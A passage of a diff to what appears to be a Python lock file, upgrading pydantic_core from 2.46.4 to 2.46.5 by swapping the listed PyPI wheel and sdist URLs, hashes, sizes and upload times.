"2026-05-06T13:37:10.817Z" }, - { url = "https://files.pythonhosted.org/packages/fb/7f/f37d3a5e8bfcc2e403f5c57a730f2d815693fb42119e8ea48b3789335af1/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:0ce40cd7b21210e99342afafbd4d0f76d784eb5b1d60f3bdc566be4983c6c73b", size = 1944552, upload-time = "2026-05-06T13:36:56.717Z" }, - { url = "https://files.pythonhosted.org/packages/15/3c/d7eb777b3ff43e8433a4efb39a17aa8fd98a4ee8561a24a67ef5db07b2d6/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90884113d8b48f760e9587002789ddd741e76ab9f89518cd1e43b1f1a52ec44b", size = 1982984, upload-time = "2026-05-06T13:39:06.207Z" }, - { url = "https://files.pythonhosted.org/packages/63/87/70b9f40170a81afd55ca26c9b2acb25c20d64bcfbf888fafecb3ba077d4c/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66ce7632c22d837c95301830e111ad0128a32b8207533b60896a96c4915192ea", size = 2138417, upload-time = "2026-05-06T13:39:45.476Z" }, - { url = "https://files.pythonhosted.org/packages/9d/1d/8987ad40f65ae1432753072f214fb5c74fe47ffbd0698bb9cbbb585664f8/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:1d8ba486450b14f3b1d63bc521d410ec7565e52f887b9fb671791886436a42f7", size = 2095527, upload-time = "2026-05-06T13:39:52.283Z" }, - { url = "https://files.pythonhosted.org/packages/64/d3/84c282a7eee1d3ac4c0377546ef5a1ea436ce26840d9ac3b7ed54a377507/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:3009f12e4e90b7f88b4f9adb1b0c4a3d58fe7820f3238c190047209d148026df", size = 1936024, upload-time = "2026-05-06T13:40:15.671Z" }, - { url = "https://files.pythonhosted.org/packages/d7/ca/eac61596cdeb4d7e174d3dc0bd8a6238f14f75f97a24e7b7db4c7e7340a0/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad785e92e6dc634c21555edc8bd6b64957ab844541bcb96a1366c202951ae526", size = 1990696, upload-time = "2026-05-06T13:38:34.717Z" }, - { url = "https://files.pythonhosted.org/packages/fa/c3/7c8b240552251faf6b3a957db200fcfbbcec36763c050428b601e0c9b83b/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c603d540afdd6b80eb39f078f33ebd46211f02f33e34a32d9f053bba711de0", size = 2147590, upload-time = "2026-05-06T13:39:29.883Z" }, - { url = "https://files.pythonhosted.org/packages/11/cb/428de0385b6c8d44b716feba566abfacfbd23ee3c4439faa789a1456242f/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:0c563b08bca408dc7f65f700633d8442fffb2421fc47b8101377e9fd65051ff0", size = 2112782, upload-time = "2026-05-06T13:37:04.016Z" }, - { url = "https://files.pythonhosted.org/packages/0b/b5/6a17bdadd0fc1f170adfd05a20d37c832f52b117b4d9131da1f41bb097ce/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:db06ffe51636ffe9ca531fe9023dd64bdd794be8754cb5df57c5498ae5b518a7", size = 1952146, upload-time = "2026-05-06T13:39:43.092Z" }, - { url = "https://files.pythonhosted.org/packages/2a/dc/03734d80e362cd43ef65428e9de77c730ce7f2f11c60d2b1e1b39f0fbf99/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:133878133d271ade3d41d1bfb2a45ec38dbdbda40bc065921c6b04e4630127e2", size = 2134492, upload-time = "2026-05-06T13:36:58.124Z" }, - { url = "https://files.pythonhosted.org/packages/de/df/5e5ffc085ed07cc22d298134d3d911c63e91f6a0eb91fe646750a3209910/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9bc519fbf2b7578398853d815009ae5e4d4603d12f4e3f91da8c06852d3da3e9", size = 2156604, upload-time = "2026-05-06T13:37:49.88Z" }, - { url = "https://files.pythonhosted.org/packages/81/44/6e112a4253e56f5705467cbab7ab5e91ee7398ba3d56d358635958893d3e/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c7a7bd4e39e8e4c12c39cd480356842b6a8a06e41b23a55a5e3e191718838ddf", size = 2183828, upload-time = "2026-05-06T13:37:43.053Z" }, - { url = "https://files.pythonhosted.org/packages/ac/ad/5565071e937d8e752842ac241463944c9eb14c87e2d269f2658a5bd05e98/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:d396ec2b979760aaf3218e76c24e65bd0aca24983298653b3a9d7a45f9e47b30", size = 2310000, upload-time = "2026-05-06T13:37:56.694Z" }, - { url = "https://files.pythonhosted.org/packages/4f/c3/66883a5cec183e7fba4d024b4cbbe61851a63750ef606b0afecc46d1f2bf/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:86e1a4418c6cd97d60c95c71164158eaf7324fae7b0923264016baa993eba6fc", size = 2361286, upload-time = "2026-05-06T13:40:05.667Z" }, - { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/af/f9/8a06bea35ef8daf588f707784c973a7046e0034c8d8cfb08828eeffb8b75/pydantic_core-2.46.5.tar.gz", hash = "sha256:10416c15b8839ecc4ef4d0885da76da6fd0f67333a0eb8aff6d93c4b8f2910fc", size = 472262, upload-time = "2026-08-28T10:01:31.677Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/74/6b/8f79692844269427abb3e4dd9e68edfcbe65ae25527d99183214de716c59/pydantic_core-2.46.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:657b40d6240c0a7b6a64b30f22d1e3aa631c7e846c621b0c0f6d1d75e2e15ea6", size = 2076533, upload-time = "2026-08-28T09:57:35.421Z" }, + { url = "https://files.pythonhosted.org/packages/bd/d0/c787604c71c2bdcda1a5656942fc822cd0f9cd879b9484bb84fc42172703/pydantic_core-2.46.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ecb42011e12ee19cafbc312887cbf3546959fe02fbad44f272d4be5baa997615", size = 1924650, upload-time = "2026-08-28T09:57:37.944Z" }, + { url = "https://files.pythonhosted.org/packages/4a/77/ca2f8e997d9bfdb32205297aff38f210f398822d895b1af1b59fd9df9c13/pydantic_core-2.46.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4dedce55295becb61921e386b99d4f2706045306e7fa52249a33004c837379fb", size = 1951261, upload-time = "2026-08-28T09:57:39.339Z" }, + { url = "https://files.pythonhosted.org/packages/a0/53/bd12e1a9255df4edee00353778e2614b5346265d51e1567ab72153e803a2/pydantic_core-2.46.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9f47b8a949e60f027f0aa0a6f6c7b7e9c55cbf4380d10b344e282fa4e7ab1e1b", size = 2021808, upload-time = "2026-08-28T09:57:40.69Z" }, + { url = "https://files.pythonhosted.org/packages/d7/41/f7f312751ebc6d6767da91964a9c7954c18e226a1720ab234e3dfb9d6c17/pydantic_core-2.46.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:200aa3dc9f8d54f0754f43247c0bad0999fdcfbfd2488384dd44f37279271fe6", size = 2196184, upload-time = "2026-08-28T09:57:42.275Z" }, + { url = "https://files.pythonhosted.org/packages/3d/93/ce93aa030ab6bac4683ba8861e7baad89dd24b02e66b8801a0e4f6a00311/pydantic_core-2.46.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6d30e1a4f138b8951063e9a394752a9179b51da288ffa507b1e659222f4c1793", size = 2238212, upload-time = "2026-08-28T09:57:44.122Z" }, + { url = "https://files.pythonhosted.org/packages/34/a1/c8e6b66f499f510752c07a092dfe27621f9c255635e59d38704b5681c35a/pydantic_core-2.46.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:850a08d167dde16db8702c274f320c7be9d7da6f6dff2b58b18f9e815bd94f5b", size = 2064073, upload-time = "2026-08-28T09:57:45.613Z" }, + { url = "https://files.pythonhosted.org/packages/5c/fa/605e2b127ee30dbf4b1da9da4843587cf2b2d16486c241cc7a5be2d2c1bd/pydantic_core-2.46.5-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:c3471e5c4a949c26ec00a77f01df59096aa9495877de76fd60a980f8ee6be461", size = 2093102, upload-time = "2026-08-28T09:57:46.953Z" }, + { url = "https://files.pythonhosted.org/packages/4a/f7/1ab28093c09032ddce7c92c7a55d503b6ecd70f42c32492946c1cb5477b1/pydantic_core-2.46.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:3a3e26b6a8274211bddee2d0e4d0d42778f17a34510f49d2ec44b58abfc41736", size = 2133452, upload-time = "2026-08-28T09:57:48.362Z" }, + { url = "https://files.pythonhosted.org/packages/30/c8/47c79b756f12f85e8b0fbdb2b495f6b6eb32e6c98a4beae7a570a0b7c63c/pydantic_core-2.46.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:fc5d783bd4a2387e97b8a2d5ec781cfb92b3d893bf82370548e99db5915935d3", size = 2146477, upload-time = "2026-08-28T09:57:49.74Z" }, + { url = "https://files.pythonhosted.org/packages/13/5c/79fc00cb8f651d6061991de8d7cedf1c78c73cbd4862c42ef418f03b8bfa/pydantic_core-2.46.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:356c8368cbc321050b169595683a2e1d63413b1e0e2868b330af9fc14c616d3f", size = 2300832, upload-time = "2026-08-28T09:57:51.639Z" }, + { url = "https://files.pythonhosted.org/packages/b4/72/dd1a29853cf6d22a1ebd9e3baf0239cbc57d2d16caff36a89e38eb9b1db3/pydantic_core-2.46.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:eb7d8d0e5886a89a55d2eef490e272fa965a9d57c6b29a5b5088a7997ec2cad1", size = 2320505, upload-time = "2026-08-28T09:57:53.236Z" }, + { url = "https://files.pythonhosted.org/packages/ec/d1/ba4a8e06a9ddad0b4caf69cfaeecc0fbfcec20473bd808f5127fd16491c4/pydantic_core-2.46.5-cp310-cp310-win32.whl", hash = "sha256:4d44cf99ddebf875f9b68cc267aa684c99b7b44fe63ee1cac4ec163807290069", size = 1956853, upload-time = "2026-08-28T09:57:54.592Z" }, + { url = "https://files.pythonhosted.org/packages/f2/94/205ed9d7ddaf44acd489889708ea124a3f41bdb42c141c8684d528ad0e7a/pydantic_core-2.46.5-cp310-cp310-win_amd64.whl", hash = "sha256:1e5aad1220a1192c42341c8fd4a8686657e73ab2a920c970bdc4de334fe3193d", size = 2042551, upload-time = "2026-08-28T09:57:56.017Z" }, + { url = "https://files.pythonhosted.org/packages/a2/b6/81d2d19ea0be2c03664381b59f65fa72fc7969decedae00bc2c4ad835708/pydantic_core-2.46.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a1dee1b804ff4d11c663636cf15d2ea47e9f79cd56c033fb1cbf08924842a48f", size = 2074737, upload-time = "2026-08-28T09:57:57.711Z" }, + { url = "https://files.pythonhosted.org/packages/0c/18/b70da8300e292df4099684ea11b1958043580d2f50d2dc8bf7e542bdd84a/pydantic_core-2.46.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d625a186a65201c23a9e3b8ed9c47e90a026e03256608cc91851c6709096844f", size = 1921751, upload-time = "2026-08-28T09:57:59.265Z" }, + { url = "https://files.pythonhosted.org/packages/e7/1a/0d590341b6ffa4b4aca83508e6b8db4761aaeacfc15a25ca3815876d4797/pydantic_core-2.46.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4f8507560a9284e1370bb048ed4282012fbef4e8d109875b95e884d228552061", size = 1948231, upload-time = "2026-08-28T09:58:00.678Z" }, + { url = "https://files.pythonhosted.org/packages/7d/1d/02eb35761c51f2f7b1b042d6ab4cda6600f0c8c88a2243b3f734376201e5/pydantic_core-2.46.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5f93c5fe914d75fbec9a49209b00da5f08e9e467d69da2b1510c81940cfd10be", size = 2020708, upload-time = "2026-08-28T09:58:02.267Z" }, + { url = "https://files.pythonhosted.org/packages/4a/ea/f86073830e35d508cc8ddf9c3d9e6e6840fcb88d34bf726b0b4710186f27/pydantic_core-2.46.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:aca6c767f552b21b10f774aeac128e828eafb796adfa1b666a18bf6321453c3a", size = 2194914, upload-time = "2026-08-28T09:58:03.934Z" }, + { url = "https://files.pythonhosted.org/packages/bb/d7/fc36240d7791ce90939e51608568c33bfdae26202016f9770c229a487d86/pydantic_core-2.46.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:701b2e04b560eeb4bddf7a25ab8ca476176e34fdbd9a0e18196f0d12d4685f0b", size = 2235622, upload-time = "2026-08-28T09:58:05.516Z" }, + { url = "https://files.pythonhosted.org/packages/cf/bc/3fa2d76b83162820a17da7f645b28d1cba99fc8e1e5fc6517067ec450fa1/pydantic_core-2.46.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:49776eab08766a08dfff7012f8b422dcd7e25e43b316eedf0477c24fcfa84b7c", size = 2062091, upload-time = "2026-08-28T09:58:07.135Z" }, + { url = "https://files.pythonhosted.org/packages/ab/9a/095d557bb492c90cd8a70a6dd048bf793d433d03d86c81c11e912e4cd049/pydantic_core-2.46.5-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:a2468d93d181667a7abd66e1b64bb9f76f361b0fef8faddf687456453576f5ee", size = 2089904, upload-time = "2026-08-28T09:58:08.814Z" }, + { url = "https://files.pythonhosted.org/packages/24/98/7b76b1ad10a19a617a52aaa1d80e159115af939b095e86f8e756fd52e0df/pydantic_core-2.46.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:53feb344243bb9510a9dec7bf3cf1b64d88a98af5dc7872a5160465f8b198c8e", size = 2132244, upload-time = "2026-08-28T09:58:10.435Z" }, + { url = "https://files.pythonhosted.org/packages/20/32/7d6ca365fadba186a0c8f85de1a701663bce81efd309d9479be58687622f/pydantic_core-2.46.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:cd5214352ae68f3b5e9af7768bdc5253695ee069675db3480518420b3be881f2", size = 2143901, upload-time = "2026-08-28T09:58:12.033Z" }, + { url = "https://files.pythonhosted.org/packages/f8/09/eb9a6aa57f22fd1541a9c0aa2a1f3aeef3ec65347d33e10a6da2f43e0ee9/pydantic_core-2.46.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:9432f3598db432cb51c5b37fdbf29a60fcccc79e30d37a05022776a6bc4ab689", size = 2299425, upload-time = "2026-08-28T09:58:13.614Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f9/548a5bb9d4ba8cd26e26daf48052236f6b38bb61e7b7241fbc3c995719eb/pydantic_core-2.46.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:8feeac04b5794e513e710af2f9c87d49f31a6dc47967bb264a1fed61a8989bec", size = 2318566, upload-time = "2026-08-28T09:58:15.199Z" }, + { url = "https://files.pythonhosted.org/packages/4a/20/06454d18834c02c406c9133f1a3b485305fd9ee984f9636c2f730bef6a9d/pydantic_core-2.46.5-cp311-cp311-win32.whl", hash = "sha256:892a881d5f68c2b9ea304b7a6c2c60d9343df578a311b0f86b94bc8f1ffe8129", size = 1954258, upload-time = "2026-08-28T09:58:16.813Z" }, + { url = "https://files.pythonhosted.org/packages/9e/c2/718b9deb4b72453b5d8c7447a3b14cb77bef36917ef5f514e0948a4096a0/pydantic_core-2.46.5-cp311-cp311-win_amd64.whl", hash = "sha256:40375c2d05acec10323e45dfe2077ac44bc74659008614af5069034e2cfc781c", size = 2041030, upload-time = "2026-08-28T09:58:18.288Z" }, + { url = "https://files.pythonhosted.org/packages/67/ea/c1d1a5b72d6e1ff7f377a4d9199f6591f095beb5b409a8a5d89f7238d939/pydantic_core-2.46.5-cp311-cp311-win_arm64.whl", hash = "sha256:28a6a556cd3b6066bea827857f9d9cce027c96f776e512f544a581f9e42161f8", size = 2009234, upload-time = "2026-08-28T09:58:19.929Z" }, + { url = "https://files.pythonhosted.org/packages/82/3f/76358795aa7a8c6d4f36e2cb828ad1c90ee118e1393a9281664f5aade9d4/pydantic_core-2.46.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:b9fe6fb92520e3fd61f2e49000b6911b188824f089b75973ea06d6267f0b476d", size = 2076516, upload-time = "2026-08-28T09:58:21.576Z" }, + { url = "https://files.pythonhosted.org/packages/db/50/26b091836076ce4cb2fac264186936acc069e0595772cfd02a563bc4761a/pydantic_core-2.46.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a39ac25a9a2fa4072efdb429833c4a4c8009a51ff9eea3eeae131713cd27991e", size = 1922874, upload-time = "2026-08-28T09:58:23.766Z" }, + { url = "https://files.pythonhosted.org/packages/09/f0/2a8ce3849e299d44e2d2c196b6082643a3235565a735cb51db7a6261f614/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4fdc8b93a41521988916eeaa271173fcca7fa0803d62f87675aac8dcec1c8e29", size = 1951772, upload-time = "2026-08-28T09:58:25.435Z" }, + { url = "https://files.pythonhosted.org/packages/87/46/ac0dc8bdd9e6048183a14eb127764e7ad9240021c17513074a4711b0e31e/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b98134087d9de723658d17a42c7d0da8d6e2ef08015dee7dc93889047315f5e4", size = 2031832, upload-time = "2026-08-28T09:58:27.102Z" }, + { url = "https://files.pythonhosted.org/packages/c4/c2/339de5bef7be36301a2231eaa52e62163742c2281f11b5f4892bc79785cd/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e652ab17569c94bff5475520f907b7148b8c24036a8ebbe5cf7cf7493d28579a", size = 2208645, upload-time = "2026-08-28T09:58:28.948Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a0/9ff22b797724262da14427abaed4dd1d864a139693fc5e7809114376a716/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d925f3d9afd05a8c0fb3a1031463a8d59ebe5e2afad297e29c78be19e13b4e62", size = 2265935, upload-time = "2026-08-28T09:58:30.625Z" }, + { url = "https://files.pythonhosted.org/packages/c0/a4/eb9409ec0736e50aa70a412f16c204ed149516846912f7e6724d4c73ee53/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fc5be0abd4a407e200d844b404e33639a554e7bd0d448e7b9ae181be4789ac2", size = 2066284, upload-time = "2026-08-28T09:58:32.289Z" }, + { url = "https://files.pythonhosted.org/packages/c0/02/7f6156ffc926857f1c37c07d9a388682865a81830ab6a1b637082c25e399/pydantic_core-2.46.5-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:816ff0a6550ffc06c098ccd2e0698600f9aa7da192a79eaa6f9af504a35db869", size = 2105889, upload-time = "2026-08-28T09:58:33.986Z" }, + { url = "https://files.pythonhosted.org/packages/92/b1/e781d357ebe09fc929f995700f1b3503e8897f1cece183ecb1300d4d67e9/pydantic_core-2.46.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c7ea57fc63aa7da93a1bd2d644e6577befae10c52c4e36377635eea1056a74f5", size = 2158006, upload-time = "2026-08-28T09:58:35.647Z" }, + { url = "https://files.pythonhosted.org/packages/70/0a/644597d84ab400e50609c192120b85c9681c22d3a20461b9060a79be0a7a/pydantic_core-2.46.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:efd62a42486f1bda5d24cb4f63d15a3c7768375fe83d36f9417b4ad7a2fb20b3", size = 2158408, upload-time = "2026-08-28T09:58:37.38Z" }, + { url = "https://files.pythonhosted.org/packages/1e/ee/ca3b7b3a4b3769ffe9ce9432a7c9be755de9593a46d3b0d54d0409323e44/pydantic_core-2.46.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:2bc9419666990c06d7397831f2126a1ecc3594aaa3ff7de5bf2d066802f4e07b", size = 2309609, upload-time = "2026-08-28T09:58:39.22Z" }, + { url = "https://files.pythonhosted.org/packages/ce/52/39fa1f451486019524ca685020390e7ca351832fd874530ba30c8628e6dc/pydantic_core-2.46.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:18a09e1e1011b462f2e32774f25859ef1223d5c2b0546a633cf56654710721e0", size = 2342618, upload-time = "2026-08-28T09:58:40.89Z" }, + { url = "https://files.pythonhosted.org/packages/81/5e/468fc630568c61dcef3cd47ad32ffbeed9af643f49208d1ea86ab4f890c4/pydantic_core-2.46.5-cp312-cp312-win32.whl", hash = "sha256:5cb482e9e84c851f4e623fe4acc1ced89168cf1fe18f7089db4548c8f5bbb65b", size = 1939475, upload-time = "2026-08-28T09:58:42.591Z" }, + { url = "https://files.pythonhosted.org/packages/cf/c9/4c19f41b84cf6b622a72fbeed7665b25d47a187d68d47d0d430c07f23268/pydantic_core-2.46.5-cp312-cp312-win_amd64.whl", hash = "sha256:5e81740c09e310f5aa5cbd3e434a01c154d4bef93241c7877b39f211d2b78ba8", size = 2043140, upload-time = "2026-08-28T09:58:44.272Z" }, + { url = "https://files.pythonhosted.org/packages/af/dd/0c1a050299147c746e5256db16d645ab5efd4f78c59937d581a0524e74a2/pydantic_core-2.46.5-cp312-cp312-win_arm64.whl", hash = "sha256:f7b0ec93a2893de856652154d73b7ba622f26fa97726487dcac373de5f4c6084", size = 1997729, upload-time = "2026-08-28T09:58:46.13Z" }, + { url = "https://files.pythonhosted.org/packages/f5/37/5abe39a8372a61d3dc3c1338fc504281c01b32fdb3169cd7187153b56d3e/pydantic_core-2.46.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:b7ca9034437b6022f941f4857459562ee00a560b97e7cce8a0ec5a74fc6766e0", size = 2075885, upload-time = "2026-08-28T09:58:47.856Z" }, + { url = "https://files.pythonhosted.org/packages/21/43/6323b1f8b217780454c61304bcd2b38ae4762f50754414124603ccc90bb2/pydantic_core-2.46.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f332f0e72a5a0400141f830744e141bf9f97917878dbe968669e8a7fefea78ff", size = 1922768, upload-time = "2026-08-28T09:58:49.58Z" }, + { url = "https://files.pythonhosted.org/packages/0f/a3/c05ca796e1197618a774b01e596aeedfefc2f7d8c01ae3054e910b120e8a/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:193375f3548919d3f0b60936ca113ada3e38f264f91b9b8e0508efaad57be931", size = 1951241, upload-time = "2026-08-28T09:58:51.511Z" }, + { url = "https://files.pythonhosted.org/packages/68/32/33bc39ac705c52cffc908e8389f9754fdb208aea5c69cceddf4eb3ce99af/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:79bdfa52f843137045b2d081cc05c120ba6665d29b7559c2c47690906f39279f", size = 2031975, upload-time = "2026-08-28T09:58:53.166Z" }, + { url = "https://files.pythonhosted.org/packages/b0/70/2333e885c0f6a67bc105c5916965dac9b57f2718ee20d81d1a06a4ebdc13/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:24922243639cbdac66c75fcb6fd6495a9cb52b213d62f9a0d16f0310b1ff8038", size = 2208542, upload-time = "2026-08-28T09:58:55.017Z" }, + { url = "https://files.pythonhosted.org/packages/f7/ea/296debfb4264207bbda5936133892e027c0a58875ad53ebd512fba8ec3a2/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c76fe65e607be28c7fd4d56fc3c42b1583aa058ce3408b7ad0fd540171d31f9f", size = 2264692, upload-time = "2026-08-28T09:58:56.767Z" }, + { url = "https://files.pythonhosted.org/packages/d3/f2/9e4de77a6271e07a76d2d58b11c091a979c191ed2939bf80067568b369d2/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f7b393a8b3da82f5c1fc0751e6d01ac6c55b93c18226a60bdfba4a724efafd1", size = 2066633, upload-time = "2026-08-28T09:58:58.531Z" }, + { url = "https://files.pythonhosted.org/packages/8d/db/f9e9d0c97445987b2084823d5c240de88087338f04fc2cfaa2df186b8049/pydantic_core-2.46.5-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:7ac031912d54f3d83ef3b3eb98dfabc1608802e2202263d25957eeed40b94761", size = 2105235, upload-time = "2026-08-28T09:59:00.421Z" }, + { url = "https://files.pythonhosted.org/packages/07/c5/79169b047b3b2c3e99e04bc76372af9637e0bf6db638274fa927df96369e/pydantic_core-2.46.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:837b396ca3d7b74091ca623f6cbd8351bd42d670a79c2683e79fb089f06a2de5", size = 2157367, upload-time = "2026-08-28T09:59:02.442Z" }, + { url = "https://files.pythonhosted.org/packages/26/b5/ba6057afb7c291bd449f51b867f95aef2072941c4ce4e5c31d6ffd132d3b/pydantic_core-2.46.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:5ee239d575f80b08eca11f6e20f90c4c695de7825c67eefe6091fbf20dda648e", size = 2158420, upload-time = "2026-08-28T09:59:04.2Z" }, + { url = "https://files.pythonhosted.org/packages/6e/28/2057abecaafdc22912afa819603a51f0a62d40643b7c4871c51721fea9be/pydantic_core-2.46.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:e80675d75ae2cd14372cb65cad5400d9347a3d3f6c13000183f22dfd027283ed", size = 2309588, upload-time = "2026-08-28T09:59:06.048Z" }, + { url = "https://files.pythonhosted.org/packages/71/9d/881156dc404e27479c4246128d73538464cab4a239bec61995e227644c30/pydantic_core-2.46.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:9c4b71f10dd532fb7a5cbc8f58707779e64f03a258c2bf8bfbaecfcd9970b519", size = 2341866, upload-time = "2026-08-28T09:59:08.539Z" }, + { url = "https://files.pythonhosted.org/packages/5a/38/d66f443a259f84d13babdceae568e572b0ed26da17ca5d0a649ebb110a67/pydantic_core-2.46.5-cp313-cp313-win32.whl", hash = "sha256:97bf8de4d541598c94a59344eeb988a94c08ff76b5723c41f6567ec18c7892ea", size = 1938580, upload-time = "2026-08-28T09:59:10.402Z" }, + { url = "https://files.pythonhosted.org/packages/2c/1e/1d5371213f4cc9a7ed70c0bfcc7911de22311ee99a662a56077d7292d2ac/pydantic_core-2.46.5-cp313-cp313-win_amd64.whl", hash = "sha256:15f4a94963c95accac15b7b657bb177d3ad82bb90b0d0526d9a9b85079925db5", size = 2041980, upload-time = "2026-08-28T09:59:12.396Z" }, + { url = "https://files.pythonhosted.org/packages/5a/48/4222d90b1c67568bace4dec6dca6271449c66de3595d72b6d098f5fde597/pydantic_core-2.46.5-cp313-cp313-win_arm64.whl", hash = "sha256:d22a945598fb91236b4dd793a6e42e4f3dd7740bb5aace5ebd7d4c08d13bb575", size = 1997213, upload-time = "2026-08-28T09:59:14.245Z" }, + { url = "https://files.pythonhosted.org/packages/8e/8a/14596f2a8367da50cf7cbac48169ee5d9c8e11d486a3b527082384630c72/pydantic_core-2.46.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:c1c43ad4339643d70ebb8124e1305a7dab423001eff58bb41a0f731adbc98355", size = 2074081, upload-time = "2026-08-28T09:59:16.141Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d5/d8a4eb6d6c7f66b91dd37c576d76e9e60fba900caf5372c17bcf949febc2/pydantic_core-2.46.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1a353f84de772f423b5ffb11d7ae352fbbef0f446f3c0b0af0f8236d7233606e", size = 1920497, upload-time = "2026-08-28T09:59:18.065Z" }, + { url = "https://files.pythonhosted.org/packages/8e/26/092079428f86e927e030b2c0ced87df69dbb1c875cdeaa67bf42ea2be746/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5086029a57366b8cf81b130a43908738095c270c21a8d7f0e8bdfdb89718e2f3", size = 1952130, upload-time = "2026-08-28T09:59:20.476Z" }, + { url = 